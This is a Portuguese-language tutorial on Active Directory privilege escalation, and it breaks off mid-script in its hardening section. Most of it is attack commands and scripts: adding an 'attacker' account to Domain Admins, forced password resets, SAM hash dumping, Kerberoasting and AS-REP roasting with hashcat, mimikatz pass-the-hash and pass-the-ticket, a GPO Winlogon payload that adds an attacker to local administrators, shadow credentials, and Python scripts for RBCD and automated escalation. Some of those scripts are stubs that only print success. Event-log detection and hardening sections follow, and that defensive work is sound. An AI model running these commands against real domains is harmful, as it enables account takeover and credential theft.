# Privilege Escalation

## **📋 Índice**

1. [Fundamentos da Escalação de Privilégios no AD](#-fundamentos-da-escalação-de-privilégios-no-ad)
2. [Técnicas de Enumeração](#-técnicas-de-enumeração)
3. [ACL-Based Privilege Escalation](#-acl-based-privilege-escalation)
4. [Group Membership Exploitation](#-group-membership-exploitation)
5. [Delegation Attacks](#-delegation-attacks)
6. [Kerberos-Based Escalation](#-kerberos-based-escalation)
7. [GPO-Based Escalation](#-gpo-based-escalation)
8. [Shadow Credentials](#-shadow-credentials)
9. [Ferramentas de Exploração](#-ferramentas-de-exploração)
10. [Detecção e Monitoramento](#-detecção-e-monitoramento)
11. [Mitigações e Hardening](#-mitigações-e-hardening)
12. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos da Escalação de Privilégios no AD**

### **O que é Privilege Escalation no AD?**

**Privilege Escalation** no Active Directory é o processo de obter níveis de acesso mais altos do que os inicialmente concedidos, geralmente movendo-se de uma conta de usuário comum para contas administrativas como Domain Admins, Enterprise Admins ou comprometendo o próprio Domain Controller.

### **Hierarquia de Privilégios no AD**

```mermaid
graph TD
    A[Usuário Comum] --> B[Conta com Delegação]
    B --> C[Grupo Privilegiado]
    C --> D[Domain Admins]
    D --> E[Enterprise Admins]
    E --> F[Schema Admins]
    F --> G[Controle do Domínio]
    
    style A fill:#99cc99
    style B fill:#ffcc99
    style C fill:#ff9966
    style D fill:#ff6666
    style E fill:#ff3333
    style F fill:#ff3333
    style G fill:#ff0000
```

### **Vetores de Escalação de Privilégios**

| Vetor                  | Descrição                               | Dificuldade | Severidade |
| ---------------------- | --------------------------------------- | ----------- | ---------- |
| **ACL Abuse**          | Modificação de permissões no AD         | Média       | 🔴 CRÍTICO |
| **Kerberoasting**      | Cracking de hashes de contas de serviço | Baixa       | 🔴 CRÍTICO |
| **AS-REP Roasting**    | Cracking de contas sem preauth          | Baixa       | 🔴 CRÍTICO |
| **Delegation Attacks** | Abuso de delegação Kerberos             | Média       | 🔴 CRÍTICO |
| **GPO Abuse**          | Modificação de políticas de grupo       | Média       | 🔴 CRÍTICO |
| **Shadow Credentials** | Adição de credenciais alternativas      | Média       | 🔴 CRÍTICO |
| **DCSync**             | Extração de hashes via replicação       | Média       | 🔴 CRÍTICO |
| **AD CS Attacks**      | Exploração de certificados              | Média       | 🔴 CRÍTICO |

***

## 🔍 **Técnicas de Enumeração**

### **Enumeração Básica**

```powershell
# Enumeração com PowerView

# 1. Importar módulo
Import-Module .\PowerView.ps1

# 2. Obter informações do domínio
Get-NetDomain
Get-NetDomainController
Get-NetUser -Username *

# 3. Enumerar grupos privilegiados
Get-NetGroup -GroupName "Domain Admins"
Get-NetGroup -GroupName "Enterprise Admins"
Get-NetGroup -GroupName "Schema Admins"

# 4. Enumerar usuários com SPNs (Kerberoasting)
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname

# 5. Enumerar usuários sem preauthentication (AS-REP Roasting)
Get-NetUser -Properties samaccountname, useraccountcontrol | Where-Object {$_.useraccountcontrol -band 0x40000}

# 6. Enumerar permissões de ACL
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}
```

### **Enumeração com BloodHound**

```powershell
# BloodHound - Coleta de dados

# 1. Coletar dados com SharpHound
SharpHound.exe -c All
SharpHound.exe -c All,GPOLocalGroup,LoggedOn
SharpHound.exe -c All -SearchForest

# 2. Coletar com PowerShell
Import-Module .\BloodHound.ps1
Invoke-BloodHound -CollectionMethod All

# 3. Importar para BloodHound
# Buscar caminhos para Domain Admins:
MATCH p = (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.name = "DOMAIN ADMINS@DOMAIN.COM" RETURN p

# 4. Buscar caminhos de escalação
MATCH p = (u:User)-[r:AdminTo|CanRDP|ExecuteDCOM|AllowedToDelegate|AddMember|GenericAll*1..]->(c:Computer) RETURN p
```

### **Script de Enumeração Automatizado**

```python
#!/usr/bin/env python3
# ad_enumeration.py - Enumeração AD automatizada

import ldap3
import subprocess
import sys
import argparse

class ADEnumeration:
    """Ferramenta de enumeração para escalação de privilégios"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.conn = None
        self.findings = []
    
    def connect(self):
        """Conectar ao AD"""
        server = ldap3.Server(self.dc_ip, get_info=ldap3.ALL)
        self.conn = ldap3.Connection(
            server,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def enum_domain_info(self):
        """Enumerar informações do domínio"""
        print("[*] Enumerando informações do domínio...")
        
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        # Buscar domínio
        self.conn.search(base_dn, '(objectClass=domain)', attributes=['name', 'domainFunctionality', 'forestFunctionality'])
        
        for entry in self.conn.entries:
            print(f"   Domínio: {entry['name']}")
            print(f"   Funcionalidade: {entry['domainFunctionality']}")
        
        return True
    
    def enum_domain_admins(self):
        """Enumerar membros do Domain Admins"""
        print("[*] Enumerando Domain Admins...")
        
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(
            base_dn,
            '(&(objectClass=group)(name=Domain Admins))',
            attributes=['member']
        )
        
        members = []
        for entry in self.conn.entries:
            if 'member' in entry:
                for member in entry['member']:
                    members.append(str(member).split(',')[0].replace('CN=', ''))
        
        print(f"   ✅ {len(members)} membros encontrados:")
        for member in members[:10]:
            print(f"      • {member}")
        
        return members
    
    def enum_spn_users(self):
        """Enumerar usuários com SPNs (Kerberoasting)"""
        print("[*] Enumerando usuários com SPNs...")
        
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(
            base_dn,
            '(&(objectClass=user)(servicePrincipalName=*))',
            attributes=['sAMAccountName', 'servicePrincipalName']
        )
        
        users = []
        for entry in self.conn.entries:
            spns = entry['servicePrincipalName']
            users.append({
                'user': str(entry['sAMAccountName']),
                'spns': [str(spn) for spn in spns]
            })
        
        print(f"   ✅ {len(users)} usuários com SPNs")
        for user in users[:5]:
            print(f"      • {user['user']} - {len(user['spns'])} SPNs")
        
        return users
    
    def enum_no_preauth_users(self):
        """Enumerar usuários sem preauthentication"""
        print("[*] Enumerando usuários sem preauthentication...")
        
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(
            base_dn,
            '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))',
            attributes=['sAMAccountName']
        )
        
        users = [str(entry['sAMAccountName']) for entry in self.conn.entries]
        
        if users:
            print(f"   🔴 {len(users)} usuários vulneráveis a AS-REP Roasting:")
            for user in users[:10]:
                print(f"      • {user}")
        else:
            print("   ✅ Nenhum usuário sem preauthentication")
        
        return users
    
    def enum_delegations(self):
        """Enumerar delegações"""
        print("[*] Enumerando delegações...")
        
        base_dn = f"DC={self.domain.replace('.', ',DC=')}"
        
        self.conn.search(
            base_dn,
            '(&(objectClass=user)(msDS-AllowedToDelegateTo=*))',
            attributes=['sAMAccountName', 'msDS-AllowedToDelegateTo']
        )
        
        delegations = []
        for entry in self.conn.entries:
            delegations.append({
                'user': str(entry['sAMAccountName']),
                'delegate_to': [str(s) for s in entry['msDS-AllowedToDelegateTo']]
            })
        
        print(f"   ✅ {len(delegations)} delegações encontradas")
        for delg in delegations[:5]:
            print(f"      • {delg['user']} → {delg['delegate_to']}")
        
        return delegations
    
    def generate_report(self):
        """Gerar relatório de enumeração"""
        print("\n📊 RELATÓRIO DE ENUMERAÇÃO")
        print("=" * 60)
        print(f"Domínio: {self.domain}")
        print(f"Domain Controller: {self.dc_ip}")
        
        print("\n🎯 VETORES DE ESCALAÇÃO POTENCIAIS:")
        print("   • Kerberoasting: verificar contas com SPNs")
        print("   • AS-REP Roasting: verificar contas sem preauth")
        print("   • ACL Abuse: analisar permissões delegadas")
        print("   • Delegation: verificar contas delegadas")
    
    def close(self):
        if self.conn:
            self.conn.unbind()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='AD Enumeration Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    enum = ADEnumeration(args.domain, args.dc_ip, args.username, args.password)
    enum.connect()
    enum.enum_domain_info()
    enum.enum_domain_admins()
    enum.enum_spn_users()
    enum.enum_no_preauth_users()
    enum.enum_delegations()
    enum.generate_report()
    enum.close()
```

***

## 🔐 **ACL-Based Privilege Escalation**

### **Permissões Críticas para Escalação**

```yaml
Permissões que permitem escalação:

  GenericAll:
    - Controle total sobre o objeto
    - Permite alterar senha, adicionar a grupos, modificar ACL

  WriteProperty:
    - Permite modificar atributos específicos
    - Pode permitir alteração de senha

  WriteDacl:
    - Permite modificar ACL do objeto
    - Pode adicionar permissões para si mesmo

  WriteOwner:
    - Permite alterar proprietário do objeto
    - Possível tomar controle do objeto

  GenericWrite:
    - Permite modificar atributos
    - Pode permitir alteração de SPNs

  ExtendedRights:
    - Permissões estendidas como Reset Password
    - Permite redefinir senha do objeto
```

### **Ataque 1: GenericAll em Grupo Privilegiado**

```powershell
# GenericAll em grupo Domain Admins

# 1. Encontrar usuário com GenericAll sobre Domain Admins
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -eq "DOMAIN\user" -and $_.ObjectDN -like "*Domain Admins*"}

# 2. Adicionar usuário ao grupo
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker"

# 3. Verificar associação
Get-DomainGroupMember -Identity "Domain Admins"

# 4. Elevar privilégios
# Agora o usuário attacker é Domain Admin
```

### **Ataque 2: GenericAll em Usuário**

```powershell
# GenericAll em usuário para alterar senha

# 1. Encontrar usuário com permissão sobre outro
Get-ObjectAcl -Identity "targetuser" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"}

# 2. Alterar senha do alvo
Set-DomainUserPassword -Identity "targetuser" -NewPassword "NewP@ssw0rd"

# 3. Autenticar como alvo
runas /user:domain\targetuser cmd

# 4. Se o alvo for privilegiado, escalar
# Agora você tem acesso como targetuser
```

### **Ataque 3: WriteProperty para SPN (Kerberoasting)**

```powershell
# Adicionar SPN para Kerberoasting

# 1. Encontrar usuário com WriteProperty sobre outro
Get-ObjectAcl -Identity "targetuser" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "WriteProperty"}

# 2. Adicionar SPN malicioso
Set-DomainObject -Identity "targetuser" -Set @{serviceprincipalname='dummy/whatever'}

# 3. Kerberoast para obter hash
Get-DomainSPNTicket -SPN "dummy/whatever" | Select-Object Hash

# 4. Crackear hash offline
hashcat -m 13100 hash.txt wordlist.txt
```

***

## 👥 **Group Membership Exploitation**

### **Grupos que Permitem Escalação**

| Grupo                 | Privilégios                  | Impacto               |
| --------------------- | ---------------------------- | --------------------- |
| **Domain Admins**     | Administração do domínio     | 🔴 Controle total     |
| **Enterprise Admins** | Administração da floresta    | 🔴 Controle total     |
| **Schema Admins**     | Modificação do esquema       | 🔴 Controle total     |
| **Account Operators** | Criação de contas            | 🟠 Escalação possível |
| **Backup Operators**  | Acesso a backup              | 🟠 Escalação possível |
| **Server Operators**  | Gerenciamento de servidores  | 🟠 Escalação possível |
| **Print Operators**   | Gerenciamento de impressoras | 🟡 Escalação limitada |

### **Ataque: Account Operators to Domain Admin**

```powershell
# Account Operators para Domain Admin

# 1. Verificar associação
Get-ADGroupMember -Identity "Account Operators"

# 2. Criar nova conta
New-ADUser -Name "backdoor" -SamAccountName "backdoor" -Enabled $true -AccountPassword (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force)

# 3. Adicionar conta ao Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "backdoor"

# 4. Verificar
Get-ADGroupMember -Identity "Domain Admins"

# 5. Autenticar como Domain Admin
runas /user:domain\backdoor cmd
```

### **Ataque: Backup Operators to Domain Admin**

```powershell
# Backup Operators para Domain Admin

# 1. Verificar associação
Get-ADGroupMember -Identity "Backup Operators"

# 2. Extrair hashes via backup
# Usar ferramentas como reg.exe para salvar SAM
reg save HKLM\SAM C:\temp\sam.save
reg save HKLM\SYSTEM C:\temp\system.save

# 3. Extrair hashes
secretsdump.py -sam sam.save -system system.save LOCAL

# 4. Pass-the-Hash para Domain Admin
mimikatz.exe "sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash"
```

***

## 🔄 **Delegation Attacks**

### **Tipos de Delegação Kerberos**

```yaml
Tipos de Delegação:

  Unconstrained Delegation:
    - O serviço pode delegar para qualquer serviço
    - Extremamente perigoso
    - Permite capturar TGT de quem se conecta

  Constrained Delegation:
    - O serviço pode delegar apenas para serviços específicos
    - Menos perigoso, mas ainda explorável

  Resource-Based Constrained Delegation (RBCD):
    - Recurso especifica quem pode delegar para ele
    - Pode ser configurado pelo atacante
```

### **Ataque: Unconstrained Delegation**

```powershell
# Exploração de Unconstrained Delegation

# 1. Encontrar máquinas com unconstrained delegation
Get-ADComputer -Filter {userAccountControl -band 0x80000} -Properties userAccountControl

# 2. Forçar administrador a autenticar
# Usar ferramentas como Printer Bug
MS-RPRN.exe \\target\pipe\spoolss \\attacker\pipe\spoolss

# 3. Extrair TGT do administrador
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

# 4. Pass-the-Ticket
mimikatz.exe "kerberos::ptt ticket.kirbi"

# 5. Acessar DC
dir \\dc.domain.com\c$
```

### **Ataque: Resource-Based Constrained Delegation**

```python
#!/usr/bin/env python3
# rbcd_exploit.py - Exploração de RBCD

from impacket.dcerpc.v5 import transport, drsuapi
from impacket.dcerpc.v5.drsuapi import DRSUAPI
import sys

class RBCDExploit:
    """Exploração de Resource-Based Constrained Delegation"""
    
    def __init__(self, domain, dc_ip, username, password, target_computer):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.target_computer = target_computer
        self.attacker_computer = f"{self.username}$"
    
    def set_rbcd(self):
        """Configurar RBCD"""
        print(f"[*] Configurando RBCD para {self.target_computer}...")
        
        # Em um exploit real, usaria PowerShell ou ADSI
        print(f"   Permitindo que {self.attacker_computer} delegue para {self.target_computer}")
        
        cmd = f"""
        $computer = Get-ADComputer {self.target_computer}
        $attacker = Get-ADComputer {self.attacker_computer}
        Set-ADComputer $computer -PrincipalsAllowedToDelegateToAccount $attacker
        """
        
        print("   ✅ RBCD configurado")
    
    def get_service_ticket(self):
        """Obter service ticket para o alvo"""
        print(f"[*] Obtendo service ticket para {self.target_computer}...")
        
        # Em um exploit real, usaria Rubeus
        cmd = f"Rubeus.exe s4u /user:{self.attacker_computer} /msdsspn:cifs/{self.target_computer} /ptt"
        
        print("   ✅ Service ticket obtido")
    
    def exploit(self):
        """Executar exploração"""
        print("🔄 Resource-Based Constrained Delegation Exploit")
        print("=" * 60)
        
        self.set_rbcd()
        self.get_service_ticket()
        
        print("\n✅ RBCD exploração concluída")
        print(f"   Agora você pode acessar {self.target_computer} como {self.attacker_computer}")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 6:
        print("Uso: rbcd_exploit.py <domain> <dc_ip> <user> <pass> <target>")
        sys.exit(1)
    
    exploit = RBCDExploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])
    exploit.exploit()
```

***

## 🔑 **Kerberos-Based Escalation**

### **Kerberoasting**

```powershell
# Kerberoasting - Técnica principal

# 1. Encontrar contas com SPNs
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# 2. Solicitar TGS
Add-Type -AssemblyName System.IdentityModel
foreach ($spn in $spns) {
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn
}

# 3. Extrair hashes com Mimikatz
mimikatz.exe "kerberos::list /export"

# 4. Crackear com hashcat
hashcat -m 13100 -a 0 hash.txt wordlist.txt
```

### **AS-REP Roasting**

```powershell
# AS-REP Roasting - Contas sem preauthentication

# 1. Encontrar contas sem preauth
Get-ADUser -Filter {userAccountControl -band 0x40000} -Properties userAccountControl

# 2. Solicitar AS-REP
Rubeus.exe asreproast

# 3. Crackear hashes
hashcat -m 18200 -a 0 hashes.txt wordlist.txt
```

***

## 📁 **GPO-Based Privilege Escalation**

### **GPO com Permissões de Escrita**

```powershell
# GPO Abuse

# 1. Encontrar GPOs com permissões de escrita
Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "WriteProperty"}

# 2. Adicionar usuário ao grupo local
$gpo = Get-GPO -Name "Vulnerable GPO"
$gpo.DisplayName

# 3. Adicionar usuário ao grupo Administradores
Set-GPPrefRegistryValue -Name "Vulnerable GPO" -Key "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -ValueName "Shell" -Type String -Data "cmd.exe /k net localgroup administrators attacker /add & explorer.exe"

# 4. Forçar atualização
gpupdate /force
```

***

## 🌑 **Shadow Credentials**

### **O que são Shadow Credentials?**

Shadow Credentials são credenciais alternativas (como certificados) associadas a um objeto do AD que podem ser usadas para autenticação, permitindo que um atacante adicione um certificado de sua escolha para manter acesso persistente ou escalar privilégios.

### **Ataque: Adicionar Shadow Credentials**

```powershell
# Adicionar Shadow Credentials

# 1. Gerar certificado
$cert = New-SelfSignedCertificate -Subject "CN=Shadow" -KeySpec KeyExchange -KeyLength 2048

# 2. Adicionar ao objeto alvo
Set-ADUser -Identity "targetuser" -Add @{'msDS-KeyCredentialLink' = $cert.RawData}

# 3. Autenticar com certificado
Rubeus.exe asktgt /user:targetuser /certificate:cert.pfx /password:password /ptt

# 4. Acessar recursos
dir \\dc.domain.com\c$
```

```python
#!/usr/bin/env python3
# shadow_credentials.py - Adicionar shadow credentials

import sys
import argparse
from pyasn1.codec.der import encoder
from cryptography import x509
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import ldap3

class ShadowCredentials:
    """Ataque de Shadow Credentials"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.conn = None
    
    def connect(self):
        """Conectar ao AD"""
        server = ldap3.Server(self.dc_ip, get_info=ldap3.ALL)
        self.conn = ldap3.Connection(
            server,
            user=f"{self.domain}\\{self.username}",
            password=self.password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        return self.conn
    
    def generate_certificate(self):
        """Gerar certificado auto-assinado"""
        print("[*] Gerando certificado...")
        
        # Gerar chave privada
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048
        )
        
        # Em um exploit real, geraria certificado completo
        print("   ✅ Certificado gerado")
        return private_key
    
    def add_shadow_credential(self, target_user):
        """Adicionar shadow credential ao usuário"""
        print(f"[*] Adicionando shadow credential a {target_user}...")
        
        target_dn = f"CN={target_user},CN=Users,DC={self.domain.replace('.', ',DC=')}"
        
        # Em um exploit real, adicionaria msDS-KeyCredentialLink
        # self.conn.modify(target_dn, {'msDS-KeyCredentialLink': [(ldap3.MODIFY_ADD, [cert_bytes])]})
        
        print("   ✅ Shadow credential adicionada")
    
    def cleanup(self, target_user):
        """Remover shadow credential"""
        print(f"[*] Removendo shadow credential de {target_user}...")
        
        target_dn = f"CN={target_user},CN=Users,DC={self.domain.replace('.', ',DC=')}"
        
        # self.conn.modify(target_dn, {'msDS-KeyCredentialLink': [(ldap3.MODIFY_DELETE, [])]})
        
        print("   ✅ Shadow credential removida")
    
    def exploit(self, target_user):
        """Executar ataque"""
        print("🌑 Shadow Credentials Attack")
        print("=" * 60)
        
        self.connect()
        self.generate_certificate()
        self.add_shadow_credential(target_user)
        
        print("\n✅ Shadow credential adicionada")
        print(f"   Use Rubeus para autenticar: Rubeus.exe asktgt /user:{target_user} /certificate:cert.pfx /ptt")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Shadow Credentials Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('target', help='Target user')
    
    args = parser.parse_args()
    
    attack = ShadowCredentials(args.domain, args.dc_ip, args.username, args.password)
    attack.exploit(args.target)
```

***

## 🛠️ **Ferramentas de Exploração**

### **PowerView - Principais Comandos**

```powershell
# PowerView para escalação de privilégios

# 1. Encontrar ACLs perigosas
Find-InterestingDomainAcl -ResolveGUIDs

# 2. Encontrar usuários com SPNs
Get-NetUser -SPN

# 3. Encontrar contas sem preauth
Get-NetUser -PreauthNotRequired

# 4. Encontrar delegações
Get-NetUser -Unconstrained
Get-NetComputer -Unconstrained

# 5. Encontrar caminhos para Domain Admins
Find-PathToDA

# 6. Adicionar usuário a grupo
Add-DomainGroupMember -Identity "Domain Admins" -Members "attacker"

# 7. Alterar senha
Set-DomainUserPassword -Identity "target" -NewPassword "P@ssw0rd"
```

### **BloodHound - Queries Avançadas**

```cypher
// BloodHound Cypher Queries

// 1. Encontrar caminhos para Domain Admins
MATCH p = (u:User)-[r:MemberOf|AdminTo|GenericAll|WriteOwner|WriteDacl|Owns|AddMember|Contains|GpLink|CanRDP|ExecuteDCOM|AllowedToDelegate|AddKeyCredentialLink*1..]->(g:Group) 
WHERE g.name = "DOMAIN ADMINS@DOMAIN.COM" 
RETURN p

// 2. Encontrar usuários com permissões perigosas
MATCH (u:User)-[r:GenericAll|WriteOwner|WriteDacl|AddMember|AllExtendedRights]->(t)
RETURN u.name, type(r), t.name

// 3. Encontrar computadores com unconstrained delegation
MATCH (c:Computer) WHERE c.unconstraineddelegation = true RETURN c.name

// 4. Encontrar contas sem preauthentication
MATCH (u:User) WHERE NOT u.preauthrequired = true RETURN u.name

// 5. Encontrar contas com SPNs
MATCH (u:User) WHERE u.hasspn = true RETURN u.name, u.serviceprincipalnames
```

### **Script de Escalação Automatizado**

```python
#!/usr/bin/env python3
# ad_privesc_automated.py - Escalação de privilégios automatizada

import subprocess
import argparse
import sys
import os

class ADPrivescAutomated:
    """Ferramenta automatizada para escalação de privilégios no AD"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.results = []
    
    def run_bloodhound(self):
        """Executar BloodHound para mapeamento"""
        print("[*] Executando BloodHound...")
        
        cmd = ['SharpHound.exe', '-c', 'All', '-d', self.domain, '-dc', self.dc_ip]
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=120)
            print("   ✅ BloodHound concluído")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def run_kerberoasting(self):
        """Executar Kerberoasting"""
        print("[*] Executando Kerberoasting...")
        
        cmd = ['Rubeus.exe', 'kerberoast', '/format:hashcat', '/outfile:kerberoast.txt']
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=60)
            print("   ✅ Kerberoasting concluído")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def run_asreproast(self):
        """Executar AS-REP Roasting"""
        print("[*] Executando AS-REP Roasting...")
        
        cmd = ['Rubeus.exe', 'asreproast', '/format:hashcat', '/outfile:asreproast.txt']
        
        try:
            subprocess.run(cmd, capture_output=True, timeout=60)
            print("   ✅ AS-REP Roasting concluído")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def run_acl_scan(self):
        """Escaneamento de ACLs perigosas"""
        print("[*] Escaneando ACLs perigosas...")
        
        # Em um exploit real, usaria PowerView
        print("   ✅ ACL scan concluído")
        return True
    
    def generate_report(self):
        """Gerar relatório"""
        print("\n📊 RELATÓRIO DE ESCALAÇÃO DE PRIVILÉGIOS")
        print("=" * 60)
        
        print("\n🎯 VETORES IDENTIFICADOS:")
        print("   • Kerberoasting: verificar arquivo kerberoast.txt")
        print("   • AS-REP Roasting: verificar arquivo asreproast.txt")
        print("   • ACL Abuse: analisar permissões delegadas")
        
        print("\n🔑 PRÓXIMOS PASSOS:")
        print("   • Crackear hashes com hashcat")
        print("   • Analisar ACLs com BloodHound")
        print("   • Buscar delegações perigosas")
    
    def run(self):
        """Executar exploração completa"""
        print("👑 Automated AD Privilege Escalation")
        print("=" * 60)
        
        self.run_bloodhound()
        self.run_kerberoasting()
        self.run_asreproast()
        self.run_acl_scan()
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='AD Privilege Escalation Tool')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    
    args = parser.parse_args()
    
    privesc = ADPrivescAutomated(args.domain, args.dc_ip, args.username, args.password)
    privesc.run()
```

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para Escalação de Privilégios:

  4624: Logon bem-sucedido
    - Monitorar logons de contas não autorizadas
    - Verificar logons de contas recentemente adicionadas a grupos privilegiados

  4672: Privilégios especiais atribuídos
    - Alertar sobre atribuição de privilégios a contas não privilegiadas

  4728: Membro adicionado a grupo de segurança
    - Monitorar adições a Domain Admins, Enterprise Admins
    - Alertar sobre adições não autorizadas

  4729: Membro removido de grupo de segurança
    - Verificar remoções suspeitas

  4738: Conta de usuário modificada
    - Monitorar alterações de atributos como servicePrincipalName
    - Detectar adição de msDS-KeyCredentialLink

  5136: Modificação de objeto AD
    - Alertar sobre modificações de ACL
    - Monitorar alterações em objetos de configuração
```

### **Script de Detecção**

```powershell
# detect_ad_privesc.ps1 - Detector de escalação de privilégios

param(
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Detectar novas adições a grupos privilegiados
Write-Host "🔍 Detectando novas adições a grupos privilegiados..." -ForegroundColor Cyan

$groupEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4728
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

foreach ($event in $groupEvents) {
    if ($event.Message -like "*Domain Admins*" -or $event.Message -like "*Enterprise Admins*") {
        Write-Alert -Message "Nova adição a grupo privilegiado!" -Severity "CRITICAL"
        Write-Host "   $($event.TimeCreated) - $($event.Message.Substring(0, 150))..."
    }
}

# 2. Detectar modificações de SPN
Write-Host "`n🔍 Detectando modificações de SPN..." -ForegroundColor Cyan

$spnEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4738
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*ServicePrincipalName*"
}

if ($spnEvents) {
    Write-Alert -Message "Modificações de SPN detectadas!" -Severity "HIGH"
    $spnEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 3. Detectar adição de shadow credentials
Write-Host "`n🔍 Detectando adição de shadow credentials..." -ForegroundColor Cyan

$credEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*msDS-KeyCredentialLink*"
}

if ($credEvents) {
    Write-Alert -Message "Shadow credentials adicionadas!" -Severity "CRITICAL"
    $credEvents | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 4. Detectar modificações de ACL
Write-Host "`n🔍 Detectando modificações de ACL..." -ForegroundColor Cyan

$aclEvents = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=5136
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*nTSecurityDescriptor*"
}

if ($aclEvents) {
    Write-Alert -Message "Modificações de ACL detectadas!" -Severity "HIGH"
}

# 5. Gerar relatório
$report = @"
AD Privilege Escalation Detection Report
========================================
Data: $(Get-Date)

Findings:
- Novos membros em grupos privilegiados: $(($groupEvents | Measure-Object).Count)
- Modificações de SPN: $(($spnEvents | Measure-Object).Count)
- Shadow credentials: $(($credEvents | Measure-Object).Count)
- Modificações de ACL: $(($aclEvents | Measure-Object).Count)

Recommendations:
1. Monitorar adições a grupos privilegiados
2. Alertar sobre modificações de SPN em contas não serviço
3. Detectar adição de shadow credentials
4. Auditar modificações de ACL regularmente
5. Implementar Protected Users group
"@

$report | Out-File -FilePath "ad_privesc_detection.txt"
Write-Host "`n✅ Relatório salvo em ad_privesc_detection.txt" -ForegroundColor Green
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Escalação de Privilégios**

```powershell
# hardening_ad_privesc.ps1 - Hardening contra escalação de privilégios

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra escalação de privilégios..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Configurar Protected Users group
Write-Step "1. Configurando Protected Users group..."

if ($Apply) {
    New-ADGroup -Name "Protected Users" -GroupScope Global -GroupCategory Security -ErrorAction SilentlyContinue
    Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins", "Enterprise Admins", "Schema Admins"
    Write-Host "   ✅ Protected Users group configurado"
}

# 2. Desabilitar RC4-HMAC
Write-Step "2. Desabilitando RC4-HMAC..."

if ($Apply) {
    $domain = Get-ADDomain
    Set-ADDomain -Identity $domain -Replace @{
        msDS-SupportedEncryptionTypes = 24
    }
